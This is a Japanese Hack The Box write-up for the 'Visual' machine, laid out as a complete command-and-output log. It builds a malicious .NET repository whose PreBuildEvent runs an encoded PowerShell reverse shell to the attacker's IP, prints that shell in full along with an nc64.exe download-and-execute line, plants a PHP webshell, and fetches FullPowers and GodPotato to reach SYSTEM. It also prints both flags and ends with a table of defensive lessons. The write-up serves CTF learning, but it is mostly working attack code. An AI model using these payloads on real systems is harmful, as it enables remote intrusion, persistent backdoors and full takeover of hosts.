Hack The BoxのWriteup(Visual)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Visual — 全実行コマンド・実行結果レポート
Nmap スキャン
80のみ open
Git URL 投稿フォーム発見
submit.php / gitRepoLink
bare repo + dumb HTTP 配信
PreBuildEvent に PS リバースシェル
visual\enox シェル取得
user.txt ✓
webroot に PHP webshell 設置
nt authority\local service
FullPowers → GodPotato
SeImpersonatePrivilege 復元→悪用
nt authority\system
root.txt ✓

ポートスキャン

BASH
nmap -sV -sC -p 80 10.129.229.122
RESULT
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds

Nmap done: 1 IP address (1 host up) scanned
ℹ️
Apache が Win64 ビルドで動作しており、X-Powered-By: PHP/8.1.17 も確認できる。 TTL=127 の ping 応答からも Windows ホストと判断できる。80番のみが開いた スタンドアロン Windows Server (Active Directory 非参加) 構成。
PHASE 2

「Visual」ビルドサービスの調査

トップページの投稿フォームを確認

BASH
curl -s http://10.129.229.122/ -o index.html
grep -n "form\|input" index.html -i
RESULT
<form action="/submit.php" method="POST">
    <h2 class="h4 mb-4">Submit Your Repo</h2>
    <input type="url" name="gitRepoLink" class="form-control" placeholder="Enter Git Repo URL" required>
    <button type="submit" class="btn btn-primary">Submit</button>
</form>
ℹ️
サイトは投稿された Git リポジトリ URL を submit.php が受け取り、内部で dotnet build (.NET 6.0 プロジェクト) を実行するサービス。フィールド名は gitRepoLink

【重要な発見】URL スキーム検証 — git:// は拒否される

BASH (最初の試行: git daemon / git:// プロトコル)
# ローカルで git daemon (git://) を使ってリポジトリをホストし、そのまま送信
curl -s -L --data-urlencode "gitRepoLink=git://10.10.15.200/foothold" \
  http://10.129.229.122/submit.php
RESULT
<script>alert("Unsupported URL scheme"); window.location = "/index.php";</script>
🚨
サーバー側で URL スキームが検証されており、git:// は即座に拒否される (http/https のみ許可)。公式ウォークスルー (0xdf) は Gitea という HTTP 対応の Git サーバーを Docker で別途構築していたが、今回はもっと軽量な方法で対応する。

解決策: bare リポジトリ + dumb HTTP プロトコル配信

NOTE
git クライアントは http(s) URL への clone 時、まず "smart HTTP" プロトコル
(git-http-backend 経由、?service=git-upload-pack のクエリでネゴシエーション)
を試みる。サーバーがこれに対応していない (単なる静的ファイルサーバーで
CGI 無し) 場合、git クライアントは自動的に "dumb HTTP" プロトコルへ
フォールバックする。dumb HTTP は単純に bare リポジトリのファイル
(objects/, info/refs 等) を静的に GET するだけなので、git-http-backend
や Apache の設定変更、Gitea/Docker のような重量級インフラは一切不要で、
Python 標準の http.server で bare リポジトリのディレクトリを配信するだけで
git clone を成立させられる。
BASH (bare リポジトリの準備)
# 通常の作業リポジトリをコミット後、bare 形式に変換
git clone --bare ./foothold ./foothold.git
cd foothold.git
git update-server-info   # dumb HTTP 用の info/refs を生成

# 静的ファイルサーバーで配信するだけ
python3 -m http.server 8081 --directory ..
BASH (動作確認: ローカルから dumb HTTP clone)
git clone http://127.0.0.1:8081/foothold.git test_clone
RESULT
Cloning into 'test_clone'...
(正常に clone 完了、ファイル一式が取得できることを確認)
dumb HTTP でのクローンが成立することを確認。 これで http://<Kali IP>:8081/foothold.git/ を submit.php に渡せば、 URL スキーム検証 (http のみ許可) を通過しつつ、Docker/Gitea 無しでリポジトリを ホストできる。
PHASE 3

PreBuildEvent を仕込んだ悪性 .NET6 プロジェクトの作成

サンプル .NET6 プロジェクトの取得と PreBuildEvent の追加

NOTE
.csproj の <PropertyGroup> 内に <PreBuildEvent> 要素を追加すると、
dotnet build / MSBuild がビルド開始前に任意のシェルコマンドを実行する
(公式ウォークスルーで解説されている手法と同一)。.sln を含む最小構成の
.NET6 プロジェクトを用意し、.csproj にこれを仕込む。
BASH
git clone --depth 1 https://github.com/hgmauri/sample-dotnet6 src
cp -r src foothold
cd foothold
RESULT (.csproj への追記)
<PropertyGroup>
  ...
  <PreBuildEvent>powershell.exe -nop -w hidden -enc <Base64エンコード済みPSスクリプト></PreBuildEvent>
</PropertyGroup>

【重要な発見】nc64.exe 方式は Windows Defender に即座に検知される

NOTE
最初の試行では、PreBuildEvent に
  powershell -c "curl http://<Kali>:8080/nc64.exe -o C:/Windows/Tasks/nc.exe; C:/Windows/Tasks/nc.exe <Kali> <port> -e cmd.exe"
を仕込んだ。ビルドは成功し、シェル接続も一度確立したが、
接続直後 (0秒) に即座に切断され、コマンドの応答が一切返らなかった。

原因: nc64.exe は netcat の Windows 移植版として広く知られた
「ハッキングツール」シグネチャであり、ディスクに書き込んで実行した
瞬間に Windows Defender のリアルタイム保護にほぼ確実に検知・kill される。
接続は一瞬確立できても、プロセスが即座に終了するため後続コマンドが
実行できない。
⚠️
対策: 外部バイナリを一切ディスクに書き込まない、純粋な PowerShell TCP リバースシェル (revshells.com の定番テンプレート、公式ウォークスルーと同一手法) に切り替える。スクリプトの中身がメモリ上でしか実行されず、既知の実行ファイル シグネチャも存在しないため検知されにくい。
PYTHON (PowerShell リバースシェルスクリプト、可読形式)
$client = New-Object System.Net.Sockets.TCPClient("10.10.15.200",14444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
};$client.Close()
ℹ️
受信した文字列を iex (Invoke-Expression) でそのまま PowerShell コマンドとして評価し、結果を書き返すループ。UTF-16LE にエンコードしてから Base64 化し、powershell.exe -nop -w hidden -enc <base64> として PreBuildEvent に仕込む。

bare リポジトリ化 & 配信

BASH
git init -q && git add -A && git commit -q -m init
git clone --bare -q . ../foothold.git
git -C ../foothold.git update-server-info
python3 -m http.server 8081 --directory ..   # loot/git_repos を配信
PHASE 4

RCE トリガー & user.txt 取得

リスナー起動 & リポジトリ URL の送信

BASH (ターミナル1: リスナー)
nc -lnvp 14444
BASH (ターミナル2: 送信)
curl -s -L --data-urlencode "gitRepoLink=http://10.10.15.200:8081/foothold.git/" \
  http://10.129.229.122/submit.php
RESULT
ビルドリクエスト受理を確認
(/uploads/<hash>/ ページが自動更新されながら "compiling" → 完了 と遷移していく)

シェル接続確認 & user.txt 取得

RESULT (nc リスナー側、約45秒後)
listening on [any] 14444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.229.122] 49734

PS C:\xampp\htdocs\uploads\...> whoami
visual\enox
PS C:\xampp\htdocs\uploads\...> type C:\users\enox\Desktop\user.txt
d9ca15293a423768f74a698effaa217e
user.txt — visual\enox
d9ca15293a423768f74a698effaa217e
シェル取得成功! PowerShell TCP リバースシェルは cmd.exe の起動を 必要としないため、コマンドを送るとそのまま iex で評価され結果と 次のプロンプトが返る。以降のコマンドは末尾を ; (PowerShell の ステートメント区切り) で連結して送る。
PHASE 5

webroot 書き込み権限の悪用 & 権限調査

webroot への書き込み権限を確認

BASH (取得済みシェル内)
PS C:\xampp\htdocs> ls
PS C:\xampp\htdocs> Set-Content -Path 0xdf_test.php -Value '<?php phpinfo(); ?>'
RESULT
Directory: C:\xampp\htdocs
d-----  assets  css  js  uploads
-a----  index.php  submit.php  vs_status.php
enox は webroot (C:\xampp\htdocs) への書き込み権限を持つ
⚠️
PowerShell の Set-Content -Encoding ASCII を使うこと。echo > file や既定エンコーディングでは UTF-16 (BOM付き) で書き込まれ、Apache/PHP が 正しく解釈できずファイルが実行されない (公式ウォークスルーでも同様の注意あり)。

再度 PreBuildEvent RCE を利用して webshell を設置

PYTHON (PreBuildEvent に仕込む Set-Content コマンド)
Set-Content -Path 'C:\xampp\htdocs\cmd.php' `
  -Value '<?php system($_GET["cmd"]); ?>' -Encoding ASCII
BASH (別リポジトリを作成・submit)
git clone --bare -q . ../privesc_webshell.git
git -C ../privesc_webshell.git update-server-info
curl -s -L --data-urlencode "gitRepoLink=http://10.10.15.200:8081/privesc_webshell.git/" \
  http://10.129.229.122/submit.php

# 設置完了をポーリング確認
curl -s "http://10.129.229.122/cmd.php?cmd=whoami"
RESULT
nt authority\local service
webshell 経由の RCE を確立。以降は対話シェルを維持する必要がなく、 curl "http://target/cmd.php?cmd=<コマンド>" で任意コマンドを実行できる (ビルド完了を待つ必要もなく、都度即時応答が得られるため以降の作業が高速化する)。

特権の剥奪状況を確認

BASH
curl -s "http://10.129.229.122/cmd.php?cmd=whoami%20/priv"
RESULT
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking        Enabled
SeCreateGlobalPrivilege       Create global objects           Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set  Disabled
🚨
nt authority\local service は通常 SeImpersonatePrivilege を持つはずだが、 Windows のサービス起動時の仕様でこの特権セットが剥奪されている。これを復元する ツールが FullPowers (スケジュールタスク経由で完全な特権セットを持つ トークンを再取得する)。
PHASE 6

FullPowers + GodPotato → root.txt

FullPowers / GodPotato をターゲットへ取得させる

BASH (Kali 側で配布用 HTTP サーバー起動)
python3 -m http.server 8080 --directory ./tools   # FullPowers.exe / GodPotato-NET4.exe を配置
PYTHON (PowerShell ダウンロードコマンド、webshell経由で実行)
iwr http://10.10.15.200:8080/FullPowers.exe -OutFile C:\xampp\htdocs\FullPowers.exe;
iwr http://10.10.15.200:8080/GodPotato-NET4.exe -OutFile C:\xampp\htdocs\GodPotato-NET4.exe;
iwr http://10.10.15.200:8080/visual_gp.bat -OutFile C:\xampp\htdocs\visual_gp.bat
BASH (実行用バッチファイルの中身)
@echo off
cd /d C:\xampp\htdocs
GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\xampp\htdocs\root_out.txt" > C:\xampp\htdocs\gpout.txt 2>&1

FullPowers -c 経由で GodPotato を実行

NOTE
FullPowers.exe を単独実行すると特権付き新規プロセスは起動するが、
呼び出し元 (webshell の cmd.exe) には特権が引き継がれない。
-c オプションで直接コマンドを指定して実行することで、完全な特権を
持ったまま指定コマンド (ここでは GodPotato を含む .bat) を実行できる。
BASH (webshell 経由で実行)
curl -s -G --data-urlencode 'cmd=FullPowers.exe -c "cmd /c C:\xampp\htdocs\visual_gp.bat"' \
  http://10.129.229.122/cmd.php

root.txt を HTTP 経由で回収

BASH
curl -s http://10.129.229.122/root_out.txt
RESULT
fcad1dc0e9d17077a202d1d1e7291583
root.txt — nt authority\system (GodPotato)
fcad1dc0e9d17077a202d1d1e7291583
権限昇格成功。 webshell (HTTP) 経由での root.txt 取得のため 対話シェルを一切維持する必要がなく、ビルドの都度待つ nc/PowerShell シェルより 大幅に高速かつ安定して権限昇格を完了できた。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — visual\enox
d9ca15293a423768f74a698effaa217e
root.txt — nt authority\system
fcad1dc0e9d17077a202d1d1e7291583

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
PreBuildEvent RCE 自作「Visual」ビルドサービス (.NET6 build) 任意コード実行 (enox 権限) Critical ユーザー投稿の Git リポジトリを検証なしに dotnet build する仕様を悪用し、.csproj の PreBuildEvent へ PowerShell ペイロードを仕込む
webroot 書き込み権限 C:\xampp\htdocs (Apache/XAMPP) PHP webshell 設置 → RCE (LOCAL SERVICE) High enox が webroot に書き込み可能なことを利用し PHP webshell (cmd.php) を設置
SeImpersonate 系 Potato 攻撃 nt authority\local service (Apache 実行コンテキスト) SYSTEM 権限昇格 High FullPowers で SeImpersonatePrivilege を含む完全な特権セットを復元し、GodPotato で nt authority\system へ昇格

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap80/tcp のみ、Apache(Win64)+PHP、自作ビルドサービス「Visual」
2調査フォーム解析 + URL スキーム検証発見submit.php / gitRepoLink、git:// 拒否・http のみ許可
3武器化bare repo + dumb HTTP + PS リバースシェルDocker/Gitea 不要の軽量な悪性リポジトリ配信
4RCEPreBuildEvent 実行user.txt 取得 (visual\enox)
5横展開webroot 書き込み → PHP webshellRCE as nt authority\local service (HTTP経由・高速)
6権限昇格FullPowers → GodPotatoroot.txt 取得 (nt authority\system)

独自の技術的発見 (公式ウォークスルーとの違い)

項目公式ウォークスルー (0xdf)本レポートでの対応
Git リポジトリのホスティング Docker で Gitea (フル機能 Git サーバー) を構築 bare リポジトリ + git update-server-info による dumb HTTP 配信のみ。Docker/Gitea 不要で Python 標準 http.server だけで完結する軽量な代替手段
URL スキーム制限の発見 特に言及なし (最初から http URL を使用) 実機検証で git:// が明示的に “Unsupported URL scheme” として拒否されることを確認し、原因を切り分けた
nc64.exe による初回失敗の原因分析 nc64.exe -e cmd.exe 方式が接続直後に瞬時切断される現象を確認し、Windows Defender によるシグネチャ検知が原因と特定。外部バイナリ非依存の PowerShell TCP リバースシェルへの切り替えで解決

学んだ教訓 & 防御策

問題点防御策
ユーザー投稿の Git リポジトリを検証なしに dotnet build する 信頼できないコードのビルドはサンドボックス/使い捨てコンテナ内で最小権限のユーザーとして実行する。.csproj の PreBuildEvent/PostBuildEvent のような任意コード実行ポイントを無効化する MSBuild 設定 (/p:PreBuildEvent= の禁止等) を検討する。
URL スキーム検証はしているが、http 経由の SSRF 的リポジトリ取得自体は許可している ビルドサーバーからの外部アクセス先をアウトバウンドファイアウォールで許可リスト化し、内部/未知のホストへの取得を制限する。
Web ルート (C:\xampp\htdocs) にビルド実行ユーザーが書き込み可能 Webサーバーの実行ユーザーとビルド実行ユーザーを分離し、Webルートへの書き込みは配置専用のCI/CDパイプラインのみに限定する。
サービスアカウント (nt authority\local service) から SeImpersonate 系特権を悪用した Potato 攻撃で SYSTEM へ昇格可能 IIS/Apache 等の Web サーバーサービスには可能な限り専用の低権限アカウントを割り当て、DCOM/RPC アクティベーションを悪用する Potato 系攻撃を Windows Defender ASR ルールや EDR で監視・ブロックする。
HackTheBox: Visual | 完全攻略レポート